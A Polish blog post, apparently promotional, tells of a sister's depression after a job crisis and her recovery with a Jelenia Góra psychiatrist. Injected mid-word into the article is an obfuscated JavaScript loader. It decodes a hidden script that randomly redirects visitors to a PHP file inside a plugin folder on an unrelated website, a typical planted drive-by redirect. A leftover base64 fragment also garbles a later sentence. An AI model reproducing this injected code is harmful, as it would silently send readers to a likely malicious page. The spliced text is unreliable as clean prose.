Utrata pracy i pomoc psychiatry

 

Wielu z nas ma teraz dobre płatne prace, rozwija się i poprawia swój byt. Kiedy już mamy stabilne zatrudnienie decydujemy się na kredyty czy zakładanie rodziny. Jednak czasami wystarczy, że jedna rzecz się sypie i cały świat przewraca się na głowie. Tak było i w przypadku mojej siostry.

Psychiatra pomógł siostrze wyjść z kryzysu

z<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>nany psychiatra z Jeleniej GóryZarabiała razem z mężem naprawdę dobre pieniądze. Zamiast wynajmować mieszkanie wreszcie zdecydowali się je kupić. I tak z każdym miesiącem zmieniali swoje podejście do swoich pieniędzy i chcieli mieć coraz więcej tego, co jest ich. Zdecydowali się również na powiększenie rodziny. Urodziła im się córka, a po dwóch latach od tego wydarzenia rozpoczęły się prawdziwe problemy. Na początku okazało się, że w firmie jej męża dojdzie do fuzji i będą albo zwolnienia albo zmiany stanowisk. O ile szwagra ominęło zwolnienie o tyle został zdegradowany co pociągnęło za sobą niższe zarobki i stnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');andard życia. U mojej siostry w firmie także pojawił się kryzys, a ich córka wymagała coraz to większej opieki - biegała i broiła i trzeba było mieć oczy dookoła głowy. Miała depresję, więc powiedziałam jej na jakiej ulicy przyjmuje znany psychiatra z Jeleniej Góry aby jej pomóc. Widziałam jak się męczy, chociaż ona bardzo długo wzbraniała się przed odwiedzeniem i rozmową. Udawała, że tak naprawdę wszystko jest dobrze i nie ma w ogóle o czym mówić. Jednak po długich rozmowach ze mną i swoim mężem zdecydowała się udać na terapie. Okazało się, że problem był o wiele bardziej złożony.

Tak naprawdę podczas psychoterapii okazało się, że moja siostra bardzo ukrywała swoje emocje i była naprawdę zdołowana. Na szczęście kilka serii spotkań znacznie pomogło jej uporać się z psychicznym problemem. Wizyta u psychiatry była dobrą decyzją.